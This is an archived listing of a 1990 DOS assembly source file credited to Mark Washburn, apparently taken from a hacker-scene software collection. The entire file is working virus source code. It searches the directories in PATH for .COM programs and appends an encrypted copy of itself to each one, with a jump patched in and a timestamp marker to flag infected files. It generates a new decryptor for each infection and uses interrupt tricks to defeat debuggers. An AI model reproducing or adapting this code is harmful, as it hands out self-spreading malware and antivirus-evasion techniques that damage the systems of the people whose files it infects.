home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / SOURCE.ZIP / V2P.ASM < prev    next >
Assembly Source File  |  1990-01-25  |  24KB  |  759 lines

  1. ;
  2. ;
  3. ; Copyright (C) Mark Washburn, 1990.  All Rights Reserved
  4. ;
  5. ;
  6. ; Inquires are directed to :
  7. ; Mark Washburn
  8. ; 4656 Polk Street NE
  9. ; Columbia Heights, MN 55421
  10. ; USA
  11. ;
  12. ;
  13. ;
  14. ;
  15. code        segment    public 'CODE'
  16.         org    100h
  17. ;
  18.         assume    cs:code,ds:code,es:code
  19. ;
  20.  
  21. stopdebug       equ 1 ; define this for disassembly trap code
  22. int1vec         equ 4
  23. int3vec         equ 12
  24. ;
  25. dta_ptr         equ -4
  26. file_crea       equ -8
  27. file_attr       equ -10
  28. path_start_ptr  equ -12
  29. file_start_ptr  equ -14
  30. RAND_SEED       equ -16
  31. ptr1            equ -18 ; pointer to start of loop code
  32. ptr2            equ -20 ; save data_begin pointer
  33. dat1            equ -22 ; the random code used
  34. dat2            equ -24 ; the decode length plus random length offset, max_msk
  35.                         ; to make the decode routine more difficult to detect
  36. dat3            equ -26 ; the 'necessary crypt code' mask
  37. ;
  38. IFNDEF stopdebug
  39. local_stack     equ 26
  40. max_msk         equ 0ffh ; this determines the maximum variance of length
  41. ELSE
  42. nobugptr        equ -28
  43. oldint3         equ -32
  44. oldint1         equ -36
  45. local_stack     equ 36
  46. max_msk         equ 0ffh ; this determines the maximum variance of length
  47. ENDIF
  48. ;
  49. ;
  50. ;
  51. doscall         macro   call_type
  52.                 ifnb    <call_type>
  53.                 mov     ah, call_type
  54.                 endif
  55.                 int     21h
  56.                 endm
  57. ;
  58. setloc          macro   arg1,reg2
  59.                 mov     [bp + arg1],reg2
  60.                 endm
  61. ;
  62. getloc          macro   reg1,arg2
  63.                 mov     reg1,[bp + arg2]
  64.                 endm
  65. ;
  66. setdat          macro   arg1,reg2
  67.                 mov     [si + offset arg1 - offset data_begin],reg2
  68.                 endm
  69. ;
  70. getdat          macro   reg1,arg2
  71.                 mov     reg1,[si + offset arg2 - offset data_begin]
  72.                 endm
  73. ;
  74. regofs          macro   reg1,arg2
  75.                 mov     reg1,si
  76.                 add     reg1,offset (arg2 - data_begin)
  77.                 endm
  78. ;
  79. NOBUG1          macro
  80. IFDEF stopdebug
  81.                 INT 3
  82.                 NOP
  83. ENDIF
  84.                 endm
  85. ;
  86. nobug2          macro
  87. IFDEF stopdebug
  88.                 INT 3
  89. ENDIF
  90.                 endm
  91. ;
  92. ;
  93. start:
  94.                 jmp    entry
  95. ;
  96. ;
  97. ;
  98.                 MOV     AH,0
  99.                 INT     021h ; program code
  100. ;                db      600h-6 dup (0)
  101. ; insert utility code here
  102. ;
  103. entry:
  104. ; space for decode routine
  105. IFDEF stopdebug
  106.                 call precrypt
  107.                 db      36 dup (090h) ; calculated length of offset(t41-t10)
  108. ELSE
  109.                 db      39 dup (090h) ; calculated length of offset(t41-t10)
  110. ENDIF
  111. ;
  112. ; label the start of encoded section
  113. entry2:
  114.                 mov     bp,sp   ; allocate locals
  115.                 sub     sp,local_stack
  116. ;
  117.                 push    cx
  118. movcmd:         ; this label is used to locate the next instruction
  119.                 mov     dx,offset data_begin
  120.                 setloc  ptr2,dx ; save - will be modified in 'gencode'
  121. IFDEF stopdebug
  122. ;
  123. ; save interrupt 1 and 3 vectors
  124. ;
  125.                 push    ds
  126.                 mov     ax,0
  127.                 push    ax
  128.                 pop     ds
  129.                 cli
  130.                 mov     ax,ds:[int1vec]
  131.                 setloc  oldint1,ax
  132.                 mov     ax,ds:[int1vec+2]
  133.                 setloc  oldint1+2,ax
  134.                 mov     ax,ds:[int3vec]
  135.                 setloc  oldint3,ax
  136.                 mov     ax,ds:[int3vec+2]
  137.                 setloc  oldint3+2,ax
  138.                 sti
  139.                 pop     ds
  140. ;
  141.                 call    bugon
  142. ENDIF
  143.                 mov     si,dx
  144.                 add     si,(offset old_code - offset data_begin)
  145.                 mov     di,0100h
  146.                 mov     cx,03h
  147.                 cld
  148.                 repz movsb
  149.                 mov     si,dx
  150.                 doscall 30h ; check DOS version
  151.                 cmp     al,0
  152.                 NOBUG1 ; 0
  153.                 jnz     cont1 ; DOS > 2.0
  154.                 jmp     exit
  155. cont1:
  156.                 push    es
  157.                 doscall 2fh ; get program DTA
  158.                 NOBUG1 ; 0
  159.                 setloc  dta_ptr,bx
  160.                 NOBUG1 ; 0
  161.                 setloc  dta_ptr+2,es
  162.                 pop     es
  163.                 regofs  dx,my_dta
  164.                 doscall 1ah ; set new DTA
  165.                 push    es
  166.                 push    si
  167.                 mov     es,ds:[02ch] ; environment address
  168.                 mov     di,0
  169. loop1:
  170.                 pop     si
  171.                 push    si
  172.                 add     si,(offset path_chars - offset data_begin)
  173.                 lodsb
  174.                 mov     cx,8000h
  175.                 repnz scasb
  176.                 mov     cx,4
  177. loop2:
  178.                 lodsb
  179.                 scasb
  180.                 jnz     loop1
  181.                 loop    loop2
  182.                 pop     si
  183.                 pop     es
  184.                 setloc  path_start_ptr,di
  185.                 mov     bx,si
  186.                 add     si,offset (file_name-data_begin)
  187.                 mov     di,si
  188.                 jmp     cont6
  189.                 nobug2
  190. next_path:
  191.                 cmp     word ptr [bp + path_start_ptr],0
  192.                 jnz     cont3
  193.                 jmp     exit2
  194.                 nobug2
  195. cont3:
  196.                 push    ds
  197.                 push    si
  198.                 mov     ds,es:[002ch]
  199.  
  200.                 mov     di,si
  201.                 mov     si,es:[bp+path_start_ptr]
  202.                 add     di,offset (file_name-data_begin)
  203. loop3:
  204.                 lodsb
  205.                 cmp     al,';' ; 3bh
  206.                 jz      cont4
  207.                 cmp     al,0
  208.                 jz      cont5
  209.                 stosb
  210.                 jmp     loop3
  211.                 nobug2
  212. cont5:
  213.                 mov     si,0
  214. cont4:
  215.                 pop     bx
  216.                 pop     ds
  217.                 mov     [bp+path_start_ptr],si
  218.                 cmp     ch,0ffh
  219.                 jz      cont6
  220.                 mov     al,'\' ; 5ch
  221.                 stosb
  222. cont6:
  223.                 mov     [bp+file_start_ptr],di
  224.                 mov     si,bx
  225.                 add     si,(offset com_search-offset data_begin)
  226.                 mov     cx,6
  227.                 repz movsb
  228.                 mov     si,bx
  229.                 mov     ah,04eh
  230.                 regofs  dx,file_name
  231.                 mov     cx,3
  232.                 doscall
  233.                 jmp     cont7
  234.                 nobug2
  235. next_file:
  236.                 doscall 04fh
  237. cont7:
  238.                 jnb     cont8
  239.                 jmp     next_path
  240.                 nobug2
  241. cont8:
  242.                 mov     ax,[si+offset(my_dta-data_begin)+016h] ; low time byte
  243.                 and     al,01fh
  244.                 cmp     al,01fh
  245.                 jz      next_file
  246. IFNDEF stopdebug
  247.                 cmp     word ptr [si+offset(my_dta-data_begin)+01ah],0fa00h
  248.                         ; file length compared; need 1.5 k spare, see rnd off
  249. ELSE
  250.                 cmp     word ptr [si+offset(my_dta-data_begin)+01ah],0f800h
  251. ENDIF
  252.                 jz      next_file                 ;    with virus length
  253.                 cmp     word ptr [si+offset(my_dta-data_begin)+01ah],0ah
  254.                         ; file to short
  255.                 jz      next_file
  256.                 mov     di,[bp+file_start_ptr]
  257.                 push    si
  258.                 add     si,offset(my_dta-data_begin+01eh)
  259. move_name:
  260.                 lodsb
  261.                 stosb
  262.                 cmp     al,0
  263.                 jnz     move_name
  264.                 pop     si
  265.                 mov     ax,04300h
  266.                 regofs  dx,file_name
  267.                 doscall
  268.                 setloc  file_attr,cx
  269.                 mov     ax,04301h
  270.                 and     cx,0fffeh
  271.                 regofs  dx,file_name
  272.                 doscall
  273.                 mov     ax,03d02h
  274.                 regofs  dx,file_name
  275.                 doscall
  276.                 jnb     cont9
  277.                 jmp     exit3
  278.                 nobug2
  279. cont9:
  280.                 mov     bx,ax
  281.                 mov     ax,05700h
  282.                 doscall
  283.                 setloc  file_crea,cx
  284.                 setloc  file_crea+2,dx
  285. cont10:
  286.                 mov     ah,3fh
  287.                 mov     cx,3
  288.                 regofs  dx,old_code
  289.                 doscall
  290.                 NOBUG1 ; 1
  291.                 jb      cont98
  292.                 NOBUG1
  293.                 cmp     ax,3
  294.                 NOBUG1
  295.                 jnz     cont98
  296.                 NOBUG1
  297.                 mov     ax,04202h
  298.                 NOBUG1 ;1
  299.                 mov     cx,0
  300.                 mov     dx,0
  301.                 doscall
  302.                 jnb     cont99
  303. cont98:
  304.                 jmp     exit4
  305. cont99:
  306.                 NOBUG1 ; 2
  307.                 push    bx ; save file handle
  308.                 NOBUG1
  309.                 mov     cx,ax
  310.                 push    cx
  311.                 NOBUG1
  312.                 sub     ax,3
  313.                 NOBUG1
  314.                 setdat  jump_code+1,ax
  315.                 add     cx,(offset data_begin-offset entry+0100h)
  316.                 NOBUG1
  317.                 mov     di,si
  318.                 NOBUG1
  319.                 sub     di,offset data_begin-offset movcmd-1
  320.                 NOBUG1
  321.                 mov     [di],cx
  322. ;
  323.                 doscall 02ch  ; seed the random number generator
  324.                 xor     dx,cx
  325.                 NOBUG1
  326.                 setloc  rand_seed,dx
  327.                 NOBUG1 ; 2
  328.                 call    random
  329.                 NOBUG1 ; 3
  330.                 getloc  ax,rand_seed
  331.                 NOBUG1 ; 3
  332.                 and     ax,max_msk ; add a random offset to actual length
  333.                 NOBUG1 ; 3
  334.                 add     ax,offset (data_end-entry2) ; set decode length
  335.                 NOBUG1 ; 3
  336.                 setloc  dat2,ax ; save the decode length
  337.                 NOBUG1 ; 3
  338.                 setdat  (t13+1),ax ; set decode length in 'mov cx,xxxx'
  339.                 pop     cx ; restore the code length of file to be infected
  340.                 NOBUG1 ; 3
  341.                 add     cx,offset (entry2-entry+0100h) ; add the length
  342.                               ; of uncoded area plus file offset
  343.                 setdat  (t11+1),cx ;  set decode begin in 'mov di,xxxx'
  344.                 NOBUG1  ; 3
  345.                 call    random
  346.                 getloc  ax,rand_seed
  347.                 NOBUG1  ; 3
  348.                 setloc  dat1,ax ; save this random key in dat1
  349.                 setdat  (t12+1),ax ; set random key in 'mov ax,xxxx'
  350.                 NOBUG1  ; 3
  351.                 mov     di,si
  352.                 NOBUG1  ; 3
  353.                 sub     di,offset (data_begin-entry)
  354.                 NOBUG1  ; 3
  355.                 mov     bx,si
  356.                 add     bx,offset (l11-data_begin) ; table L11 address
  357.                 mov     word ptr [bp+dat3],000000111b ; required routines
  358.                 call    gen2 ; generate first part of decrypt
  359.                 setloc  ptr1,di  ; save the current counter to resolve 'loop'
  360.                 add     bx,offset (l21-l11) ; add then next tables' offset
  361.                 NOBUG1  ; 3
  362.                 mov     word ptr [bp+dat3],010000011b ; required plus 'nop'
  363.                 NOBUG1  ; 3
  364.                 call    gen2 ; generate second part of decrypt
  365.                 add     bx,offset (l31-l21) ; add the next offset
  366.                 NOBUG1
  367.                 call    gen2 ; generate third part of decrypt
  368.                 mov     cx,2 ; store the loop code
  369.                 getloc  si,ptr2
  370.                 NOBUG1 ; 3
  371.                 add     si,offset (t40-t10) ; point to the code
  372.                 repz    movsb ; move the code
  373.                 getloc  ax,ptr1 ; the loop address pointer
  374.                 sub     ax,di ; the current address
  375.                 dec     di ; point to the jump address
  376.                 stosb   ; resolve the jump
  377. ; fill in the remaining code
  378. l991:
  379.                 getloc  cx,ptr2 ; get the data_begin pointer
  380.                 sub     cx,offset (data_begin-entry2) ; locate last+1 entry
  381.                 cmp     cx,di ; are we there yet?
  382.                 je      l992 ; if not then fill some more space
  383.                 mov     dx,0h ; any code is ok
  384.                 call    gencode ; generate the code
  385.                 jmp     l991
  386.                 nobug2
  387. l992:
  388.                 getloc  si,ptr2 ; restore si to point to data area ;
  389.                 push    si
  390.                 mov     di,si
  391.                 NOBUG1  ; 4
  392.                 mov     cx,offset(end1-begin1) ;   move code
  393.                 add     si,offset(begin1-data_begin)
  394.                 NOBUG1 ; 4
  395.                 add     di,offset(data_end-data_begin+max_msk) ; add max_msk
  396.                 mov     dx,di ; set subroutine start
  397.                 repz    movsb  ; move the code
  398.                 pop     si
  399.                 pop     bx ; restore handle
  400.                 call    setrtn ; find this address
  401.                 add     ax,06h ; <- the number necessary for proper return
  402.                 push    ax
  403.                 jmp     dx ; continue with mask & write code
  404. ; continue here after return from mask & write code
  405.                 NOBUG1 ; 4
  406.                 jb      exit4
  407.                 cmp     ax,offset(data_end-entry)
  408.                 NOBUG1 ; 4
  409.                 jnz     exit4
  410.                 mov     ax,04200h
  411.                 mov     cx,0
  412.                 mov     dx,0
  413.                 doscall
  414.                 jb      exit4
  415.                 mov     ah,040h
  416.                 mov     cx,3
  417.                 NOBUG1 ; 4
  418.                 regofs  dx,jump_code
  419.                 doscall
  420. exit4:
  421.                 getloc  dx,file_crea+2
  422.                 getloc  cx,file_crea
  423.                 and     cx,0ffe0h
  424.                 or      cx,0001fh
  425.                 mov     ax,05701h
  426.                 doscall
  427.                 doscall 03Eh ; close file
  428. exit3:
  429.                 mov     ax,04301h
  430.                 getloc  cx,file_attr
  431.                 regofs  dx,file_name
  432.                 doscall
  433. exit2:
  434.                 push    ds
  435.                 getloc  dx,dta_ptr
  436.                 getloc  ds,dta_ptr+2
  437.                 doscall 01ah
  438.                 pop     ds
  439. exit:
  440.                 pop     cx
  441.                 xor     ax,ax
  442.                 xor     bx,bx
  443.                 xor     dx,dx
  444.                 xor     si,si
  445.                 mov     sp,bp ; deallocate locals
  446.                 mov     di,0100h
  447.                 push    di
  448.                 CALL    BUGOFF
  449.                 ret
  450. ;
  451. ; common subroutines
  452. ;
  453. ;
  454. random            proc    near
  455. ;
  456.             getloc    cx,rand_seed    ; get the seed
  457.                 xor     cx,813Ch        ; xor random pattern
  458.             add    cx,9248h    ; add random pattern
  459.             ror    cx,1        ; rotate
  460.             ror    cx,1        ; three
  461.             ror    cx,1        ; times.
  462.             setloc    rand_seed,cx    ; put it back
  463.                 and     cx,7            ; ONLY NEED LOWER 3 BITS
  464.                 push    cx
  465.                 inc     cx
  466.                 xor     ax,ax
  467.                 stc
  468.                 rcl     ax,cl
  469.                 pop     cx
  470.             ret            ; return
  471. ;
  472. random            endp
  473. ;
  474. setrtn          proc    near
  475. ;
  476.                 pop     ax       ; ret near
  477.                 push    ax
  478.                 ret
  479. ;
  480. setrtn          endp
  481. ;
  482. gencode         proc    near
  483. ;
  484. l999:
  485.                 call    random
  486.                 test    dx,ax  ; has this code been used yet?
  487.                 jnz     l999   ; if this code was generated - try again
  488.                 or      dx,ax ; set the code as used in dx
  489.                 mov     ax,cx ; the look-up index
  490.                 sal     ax,1
  491.                 push    ax
  492.                 xlat
  493.                 mov     cx,ax ; the count of instructions
  494.                 pop     ax
  495.                 inc     ax
  496.                 xlat
  497.                 add     ax,[bp+ptr2] ; ax = address of code to be moved
  498.                 mov     si,ax
  499.                 repz    movsb   ; move the code into place
  500.                 ret
  501. ;
  502. gencode         endp
  503. ;
  504. gen2            proc    near
  505. ;
  506.                 mov     dx,0h ; used code
  507. l990:
  508.                 call    gencode
  509.                 mov     ax,dx ; do we need more code
  510.                 and     ax,[bp+dat3] ; the mask for the required code
  511.                 cmp     ax,[bp+dat3]
  512.                 jne     l990 ; if still need required code - loop again
  513.                 ret
  514. ;
  515. gen2            endp
  516. ;
  517. IFDEF stopdebug
  518. doint3:
  519.                 push    bx
  520.                 mov     bx,sp
  521.                 push    ax
  522.                 push    si
  523.                 mov     si,word ptr [bx+02]
  524.                 inc     word ptr [bx+02] ; point to next address
  525.                 setloc  nobugptr,si
  526.                 lodsb   ; get the byte following int 3
  527.                 xor     byte ptr [si],al
  528.                 mov     al,[bx+7] ; set the trap flag
  529.                 or      al,1
  530.                 mov     [bx+7],al
  531.                 pop     si
  532.                 pop     ax
  533.                 pop     bx
  534.                 iret
  535. ;
  536. doint1:
  537.                 push    bx
  538.                 mov     bx,sp
  539.                 push    ax
  540.                 push    si
  541.                 getloc  si,nobugptr
  542.                 lodsb
  543.                 xor     byte ptr [si],al
  544.                 mov     al,[bx+7] ; clear the trap flag
  545.                 and     al,0feh
  546.                 mov     [bx+7],al
  547.                 pop     si
  548.                 pop     ax
  549.                 pop     bx
  550. bugiret:
  551.                 iret
  552. ;
  553. bugon:
  554.                 pushf
  555.                 push    ds
  556.                 push    ax
  557.                 mov     ax,0
  558.                 push    ax
  559.                 pop     ds
  560.                 getloc  ax,ptr2
  561.                 sub     ax,offset(data_begin-doint3)
  562.                 cli
  563.                 mov     ds:[int3vec],ax
  564.                 getloc  ax,ptr2
  565.                 sub     ax,offset(data_begin-doint1)
  566.                 mov     ds:[int1vec],ax
  567.                 push    cs
  568.                 pop     ax
  569.                 mov     ds:[int1vec+2],ax
  570.                 mov     ds:[int3vec+2],ax
  571.                 sti
  572.                 pop     ax
  573.                 pop     ds
  574.                 popf
  575.                 ret
  576. ;
  577. bugoff:
  578.                 pushf
  579.                 push    ds
  580.                 push    ax
  581.                 mov     ax,0
  582.                 push    ax
  583.                 pop     ds
  584.  
  585.                 getloc  ax,oldint3
  586.                 cli
  587.                 mov     ds:[int3vec],ax
  588.                 getloc  ax,oldint1
  589.                 mov     ds:[int1vec],ax
  590.                 getloc  ax,oldint1+2
  591.                 mov     ds:[int1vec+2],ax
  592.                 getloc  ax,oldint3+2
  593.                 mov     ds:[int3vec+2],ax
  594.                 sti
  595.  
  596.                 pop     ax
  597.                 pop     ds
  598.                 popf
  599.                 ret
  600. ;
  601. ENDIF
  602. ;
  603. ;
  604. ; the data area
  605. ;
  606. data_begin       label near
  607. ;
  608. T10              LABEL NEAR
  609. T11:             MOV DI,0FFFFH
  610. T12:             MOV AX,0FFFFH
  611. T13:             MOV CX,0FFFFH
  612. T14:             CLC
  613. T15:             CLD
  614. T16:             INC SI
  615. T17:             DEC BX
  616. T18:             NOP
  617. T19              LABEL NEAR
  618. ;
  619. T20              LABEL NEAR
  620. T21:             XOR [DI],AX
  621. T22:             XOR [DI],CX
  622. T23:             XOR DX,CX
  623. T24:             XOR BX,CX
  624. T25:             SUB BX,AX
  625. T26:             SUB BX,CX
  626. T27:             SUB BX,DX
  627. T28:             NOP
  628. T29              LABEL NEAR
  629. ;
  630. T30              LABEL NEAR
  631. T31:             INC AX
  632. T32:             INC DI
  633. T33:             INC BX
  634. T34:             INC SI
  635. T35:             INC DX
  636. T36:             CLC
  637. T37:             DEC BX
  638. T38:             NOP
  639. T39              LABEL NEAR
  640. ;
  641. T40:             LOOP T20
  642. T41              LABEL NEAR
  643. ;
  644. L11:             DB OFFSET (T12-T11),OFFSET (T11-data_begin)
  645. L12:             DB OFFSET (T13-T12),OFFSET (T12-data_begin)
  646. L13:             DB OFFSET (T14-T13),OFFSET (T13-data_begin)
  647. L14:             DB OFFSET (T15-T14),OFFSET (T14-data_begin)
  648. L15:             DB OFFSET (T16-T15),OFFSET (T15-data_begin)
  649. L16:             DB OFFSET (T17-T16),OFFSET (T16-data_begin)
  650. L17:             DB OFFSET (T18-T17),OFFSET (T17-data_begin)
  651. L18:             DB OFFSET (T19-T18),OFFSET (T18-data_begin)
  652. ;
  653. L21:             DB OFFSET (T22-T21),OFFSET (T21-data_begin)
  654. L22:             DB OFFSET (T23-T22),OFFSET (T22-data_begin)
  655. L23:             DB OFFSET (T24-T23),OFFSET (T23-data_begin)
  656. L24:             DB OFFSET (T25-T24),OFFSET (T24-data_begin)
  657. L25:             DB OFFSET (T26-T25),OFFSET (T25-data_begin)
  658. L26:             DB OFFSET (T27-T26),OFFSET (T26-data_begin)
  659. L27:             DB OFFSET (T28-T27),OFFSET (T27-data_begin)
  660. L28:             DB OFFSET (T29-T28),OFFSET (T28-data_begin)
  661. ;
  662. L31:             DB OFFSET (T32-T31),OFFSET (T31-data_begin)
  663. L32:             DB OFFSET (T33-T32),OFFSET (T32-data_begin)
  664. L33:             DB OFFSET (T34-T33),OFFSET (T33-data_begin)
  665. L34:             DB OFFSET (T35-T34),OFFSET (T34-data_begin)
  666. L35:             DB OFFSET (T36-T35),OFFSET (T35-data_begin)
  667. L36:             DB OFFSET (T37-T36),OFFSET (T36-data_begin)
  668. L37:             DB OFFSET (T38-T37),OFFSET (T37-data_begin)
  669. L38:             DB OFFSET (T39-T38),OFFSET (T38-data_begin)
  670. ;
  671. ;
  672. ;
  673. ; this routine is relocated after the end of data area
  674. ; this routine encrypts, writes, and decrypts the virus code
  675. ;
  676. begin1:
  677.                 getloc  cx,dat2 ; get off (data_end-entry2) plus max_msk
  678.                 getloc  ax,dat1 ; get decode ket
  679.                 mov     di,si ; and set the begin encrypt address
  680.                 sub     di,offset (data_begin-entry2)
  681.                 call    crypt
  682.                 mov     ah,040h
  683.                 mov     cx,offset data_end-offset entry
  684.                 mov     dx,si
  685.                 sub     dx,offset data_begin-offset entry
  686.                 doscall
  687.                 pushf ; save the status of the write
  688.                 push    ax
  689.                 getloc  cx,dat2 ; get off (data_end-entry2) plus max_msk
  690.                 getloc  ax,dat1
  691.                 mov     di,si
  692.                 sub     di,offset (data_begin-entry2)
  693.                 call    crypt
  694.                 pop     ax      ; restore the DOS write's status
  695.                 popf
  696.                 ret
  697. ;
  698. crypt:
  699.                 xor     [di],ax
  700.                 xor     [di],cx
  701.                 inc     ax
  702.                 inc     di
  703.                 loop    crypt
  704.                 ret
  705. end1:
  706. ;
  707. ; global work space and constants
  708. ;
  709. old_code:       db 090h,090h,090h
  710. jump_code:      db 0e9h,0,0
  711. com_search:     db '*.COM',0
  712. path_chars:     db 'PATH='
  713. file_name:      db 40h DUP (0)
  714. my_dta:         db 2Bh DUP (0)
  715.                 db 0,0,0
  716.  
  717. data_end        label near
  718. IFDEF stopdebug
  719. ;
  720. scan_bytes      db 0CCh,090h
  721. ;
  722. precrypt:
  723.                 mov bp,sp   ; allocate locals
  724.                 sub sp,local_stack
  725.                 doscall 02ch  ; seed the random number generator
  726.                 xor dx,cx
  727.                 setloc rand_seed,dx
  728.                 call random
  729.                 mov di,offset start
  730.                 push ds
  731.                 pop es
  732. lp999:
  733.                 mov cx,08000h
  734.                 mov si,offset scan_bytes
  735.                 lodsb
  736.                 repnz scasb
  737.                 cmp cx,0
  738.                 je done998
  739.                 cmp di,offset data_end
  740.                 jge done998
  741.                 lodsb
  742.                 scasb
  743.                 jnz lp999
  744.                 call random
  745.                 getloc ax,rand_seed
  746.                 dec di
  747.                 mov [di],al
  748.                 inc di
  749.                 xor [di],al
  750.                 inc di ; skip the masked byte
  751.                 jmp short lp999
  752. done998:
  753.                 mov sp,bp
  754.                 ret
  755. ENDIF
  756.  
  757. code        ends
  758.         end    start
  759.